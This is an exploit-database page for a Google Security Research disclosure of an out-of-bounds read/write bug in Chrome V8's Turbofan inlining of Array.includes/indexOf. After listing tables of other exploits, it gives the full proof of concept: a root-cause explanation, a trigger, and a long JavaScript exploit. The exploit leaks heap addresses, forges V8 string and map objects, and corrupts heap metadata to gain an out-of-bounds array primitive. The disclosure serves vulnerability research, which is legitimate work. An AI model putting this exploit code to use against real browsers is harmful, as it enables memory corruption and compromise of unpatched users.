Menu

Improved exploit search engine. Try it out

"Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write"

Author

"Google Security Research"

Platform

multiple

Release date

2019-05-13

Release Date Title Type Platform Author
2019-05-22 "Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting" webapps multiple Vingroup
2019-05-22 "Zoho ManageEngine ServiceDesk Plus < 10.5 - Improper Access Restrictions" webapps multiple Vingroup
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Deluge 1.3.15 - 'URL' Denial of Service (PoC)" dos multiple "Victor Mondragón"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-05-10 "CyberArk Enterprise Password Vault 10.7 - XML External Entity Injection" webapps multiple "Marcelo Toran"
2019-05-10 "TheHive Project Cortex < 1.15.2 - Server-Side Request Forgery" webapps multiple "Alexandre Basquin"
2019-05-07 "Prinect Archive System 2015 Release 2.6 - Cross-Site Scripting" webapps multiple alt3kx
2019-05-08 "Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)" remote multiple Metasploit
2019-05-06 "ReadyAPI 2.5.0 / 2.6.0 - Remote Code Execution" webapps multiple "Gilson Camelo"
2019-05-03 "Zotonic < 0.47.0 mod_admin - Cross-Site Scripting" webapps multiple "Ramòn Janssen"
2019-04-30 "Domoticz 4.10577 - Unauthenticated Remote Command Execution" webapps multiple "Fabio Carretto"
2019-04-24 "Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow" remote multiple "Google Security Research"
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-22 "Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-Memory in Invalid Table Size Denial of Service (PoC)" dos multiple "Bogdan Kurinnoy"
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
2019-04-18 "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)" dos multiple "Fakhri Zulkifli"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-09 "Apache Axis 1.4 - Remote Code Execution" remote multiple "David Yesland"
2019-04-08 "QNAP Netatalk < 3.1.12 - Authentication Bypass" remote multiple muts
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion" dos multiple "Google Security Research"
Release Date Title Type Platform Author
2019-05-23 "Microsoft Windows 10 1809 - 'CmKeyBodyRemapToVirtualForEnum' Arbitrary Key Enumeration Privilege Escalation" local windows "Google Security Research"
2019-05-23 "Visual Voicemail for iPhone - IMAP NAMESPACE Processing Use-After-Free" dos ios "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-04-30 "Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification" dos linux "Google Security Research"
2019-04-26 "systemd - DynamicUser can Create setuid Binaries when Assisted by Another Process" dos linux "Google Security Research"
2019-04-24 "Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow" remote multiple "Google Security Research"
2019-04-24 "VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation" local windows "Google Security Research"
2019-04-23 "Linux - 'page->_refcount' Overflow via FUSE" dos linux "Google Security Research"
2019-04-23 "Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition" dos linux "Google Security Research"
2019-04-23 "systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit" dos linux "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation" local windows "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "WebKitGTK+ - 'ThreadedCompositor' Race Condition" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - CodeBlock Dangling Watchpoints Use-After-Free" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - Out-Of-Bounds Access in FTL JIT due to LICM Moving Array Access Before the Bounds Check" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46837/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46837/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46837/41264/google-chrome-v8-turbofan-jscallreducerreducearrayindexofincludes-out-of-bounds-readwrite/download/", "exploit_id": "46837", "exploit_description": "\"Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write\"", "exploit_date": "2019-05-13", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
<!--
Since commit https://chromium.googlesource.com/v8/v8.git/+/c22bb466d8934685d897708119543d099b9d2a9a turbofan supports inlining calls to array.includes and array.indexOf. The logic of the function is roughly:

1. Check the set of possible Maps of the array type (with NodeProperties::InferReceiverMaps).
2. If they are all fast arrays, find the correct CSA builtin to handle the fast path (`Callable const callable = search_variant == SearchVariant::kIndexOf ? GetCallableForArrayIndexOf(kind, isolate()) : GetCallableForArrayIncludes(kind, isolate());`).
3. Load the array length and call the builtin. The builtin will assume that the array is a FastArray with packed (dense) elements and directly search linearly through the backing memory.

The issue here is that NodeProperties::InferReceiverMaps doesn't necessarily guarantee that the object will always have the inferred Map. In case it can't prove that the objects will always have the inferred Maps it will return kUnreliableReceiverMaps:

    // Walks up the {effect} chain to find a witness that provides map
    // information about the {receiver}. Can look through potentially
    // side effecting nodes.
    enum InferReceiverMapsResult {
      kNoReceiverMaps,         // No receiver maps inferred.
      kReliableReceiverMaps,   // Receiver maps can be trusted.
      kUnreliableReceiverMaps  // Receiver maps might have changed (side-effect),
                                                  // but instance type is reliable.
    };
    static InferReceiverMapsResult InferReceiverMaps(
        JSHeapBroker* broker, Node* receiver, Node* effect,
        ZoneHandleSet<Map>* maps_return);

In which case the caller is responsible for guarding any optimizations based on the inferred Maps (e.g. by adding MapChecks). However, in this case the calling function fails to do so. As such, if the array is changed to dictionary mode before the inlined function call, the CSA builtin will read data out-of-bounds.

The following sample, found through fuzzing, triggers this case: 

    function v7(v8,v11) {
        function v14(v15,v16) { }
        // Transition to dictionary mode in the final invocation.
        const v17 = v11.__defineSetter__(v8, v14);
        // Will then read OOB.
        const v18 = v11.includes(1234);
        return v18;
    }
    v7([], []);
    v7([], []);
    %OptimizeFunctionOnNextCall(v7);
    v7([], []);

    const v57 = v7(String(0x1000000), []);

Note: the commit introducing this vulnerability does not appear to be included in the stable Chrome release yet.
-->

<script>
var conv_ab = new ArrayBuffer(8);
var conv_f64 = new Float64Array(conv_ab);
var conv_u64 = new BigUint64Array(conv_ab);
BigInt.prototype.to_float = function() {
  conv_u64[0] = this;
  return conv_f64[0];
};
BigInt.prototype.hex = function() {
  return '0x'+this.toString(16);
};
Number.prototype.to_int = function() {
  conv_f64[0] = this;
  return conv_u64[0];
}
Number.prototype.hex = function() {
  return this.to_int().hex();
}

let ab = undefined;

function leak(i, smi_arr, float_arr) {
  let high_bytes = 0;
  smi_arr.__defineSetter__(i, ()=>{});
  ab = new ArrayBuffer(2<<26);
  let smi_boundary = [1, 1, 1, 1];
  for (high_bytes = 0; high_bytes < 0xffff; high_bytes++) {
    smi_boundary[0] = high_bytes;
    let idx = smi_arr.indexOf(high_bytes, 20);
    if (idx == 20) {
      break;
    }
  }

  float_arr.__defineSetter__(i, ()=>{});
  let tmp = new Uint32Array(ab);
  let float_boundary = [1.1, 1.1, 1.1, 1.1];

  let start = (BigInt(high_bytes)<<32n).to_float();
  let end = ((BigInt(high_bytes)<<32n)+0x1000000n).to_float();
  let step = 0x1000n.to_float();

  for (let j = start; j < end; j += step) {
    float_boundary[0] = j;
    if (float_arr.indexOf(j, 30) == 30) {
      return [j, smi_boundary, float_boundary, tmp];
    }
  }
}

for (let i = 0; i < 10; i++) {
  leak('', [1], [1.1]);
}

let res = leak('100000', [1], [1.1]);
if (res == undefined) {
  location.reload();
  return;
}
let ab_addr = res[0].to_int();

console.log(`Buf at ${ab_addr.hex()}`);

let u64 = new BigUint64Array(ab);

function write_map(offset, type) {
  u64[offset/8n + 0x0n] = 0x12345n;
  u64[offset/8n + 0x1n] = 0x190000002900a804n | (type << 32n);
  u64[offset/8n + 0x2n] = 0x92003ffn;  // bitfield 3
  u64[offset/8n + 0x3n] = 0x41414141n; // prototype
  u64[offset/8n + 0x4n] = 0x41414141n; // constructor or back ptr
  u64[offset/8n + 0x5n] = 0n;          // transistions or proto info
  u64[offset/8n + 0x6n] = 0x41414141n; // instance descriptors
  u64[offset/8n + 0x7n] = 0n;          // layout descriptor
  u64[offset/8n + 0x8n] = 0x41414141n; // dependent code
  u64[offset/8n + 0x9n] = 0n;          // prototype validity cell
}

// SPACE_SIZE = 1<<18
// LARGE_OBJ_SIZE = (1<<17) +1

const SPACE_SIZE = 1n<<19n;
const SPACE_MASK = 0xffffffffffffffffn ^ (SPACE_SIZE-1n);

let space_start_addr = (ab_addr & SPACE_MASK) + SPACE_SIZE;
let space_start_off = space_start_addr - ab_addr;

console.log(`Space start: ${space_start_addr.hex()}`);

let free_mem = space_start_addr + 4096n;

function page_round(addr) {
  if ((addr & 0xfffn) == 0n) {
    return addr;
  }
  return (addr + 0x1000n) & 0xfffffffffffff000n;
}

function u64_offset(addr) {
  return (addr - ab_addr) / 8n;
}

class V8String {
  constructor(type, data) {
    let size = BigInt(data.length)*8n;
    this.addr = free_mem;
    free_mem += page_round(size);
    this.map = free_mem;
    free_mem += page_round(0x9n*8n);
    this.off = u64_offset(this.addr);
    u64[this.off] = this.map|1n;
    for (let i = 0n; i < data.length; i++) {
      u64[this.off + 1n + i] = data[i];
    }
    let map_off = u64_offset(this.map);
    u64[map_off + 0x0n] = 0x12345n;
    u64[map_off + 0x1n] = 0x190000002900a804n | (type << 32n);
    u64[map_off + 0x2n] = 0x92003ffn;  // bitfield 3
    u64[map_off + 0x3n] = 0x41414141n; // prototype
    u64[map_off + 0x4n] = 0x41414141n; // constructor or back ptr
    u64[map_off + 0x5n] = 0n;          // transistions or proto info
    u64[map_off + 0x6n] = 0x41414141n; // instance descriptors
    u64[map_off + 0x7n] = 0n;          // layout descriptor
    u64[map_off + 0x8n] = 0x41414141n; // dependent code
    u64[map_off + 0x9n] = 0n;          // prototype validity cell
  }
}

class ConsString extends V8String {
  constructor(size, left, right) {
    super(0x29n, [(size<<32n) | 0x00000003n, left|1n, right|1n]);
  }
}

class SliceString extends V8String {
  constructor(parent_string, offset, len=0x100n) {
    super(0x2bn, [(len<<32n) | 0x00000003n, parent_string|1n, offset<<32n]);
  }
}

class SeqString extends V8String {
  constructor(data) {
    super(0x08n, [(BigInt(data.length*8) << 32n | 0xdf61f02en)].concat(data));
  }
}

// object in young generation == space+8 has one of these bits set: 0x18
u64[space_start_off/8n + 0x1n] = 0x18n;

LEAK_STRING_SZ = 0x1;

let seq_string = new SeqString([0x4141414141414141n]);
let root_string = new ConsString(BigInt(LEAK_STRING_SZ), seq_string.addr, seq_string.addr);

function foo(i, arr, to_search, to_copy) {
  arr.__defineSetter__(i, ()=>{});
  let a = [1.1, to_copy];
  let boundary = [to_search];
  return [arr.indexOf(to_search), a, boundary];
}

for (let i = 0; i < 100000; i++) {
  foo('', [Array], '', 1.1);
}

function doit(to_search, to_copy) {
  return foo('100000', [Array], to_search, to_copy)[0];
}

doit('A'.repeat(LEAK_STRING_SZ), (root_string.addr|1n).to_float());
let corrupted_array = [1.1, 1.2, 1.3];

console.log(`string at = ${u64[root_string.off+2n].hex()}`);

let corrupted_array_addr = u64[root_string.off+2n]+0x40n;
let backing_store_sz_addr = corrupted_array_addr + 0x38n;


GC_STRING_SZ = 0x30000000;

u64[space_start_off/8n + 0x0n] = 0x1234n;
// object in young generation == space+8 has one of these bits set: 0x18
u64[space_start_off/8n + 0x1n] = 0xff000n;
// marking bitmap pointer
u64[space_start_off/8n + 0x2n] = backing_store_sz_addr + 4n - (0x70n*0x4n);
u64[space_start_off/8n + 0x6n] = space_start_addr;
// incremental_marking ptr
u64[space_start_off/8n + 0xf7n] = space_start_addr;

seq_string = new SeqString([0x4141414141414141n]);
root_string = new ConsString(BigInt(GC_STRING_SZ), seq_string.addr, seq_string.addr);
doit('A'.repeat(GC_STRING_SZ), (root_string.addr|1n).to_float());
corrupted_array[100] = 1.1;
console.log('=== OOB array leak ===');
for (let i = 0; i < 100; i++) {
  console.log(corrupted_array[i].hex());
}
</script>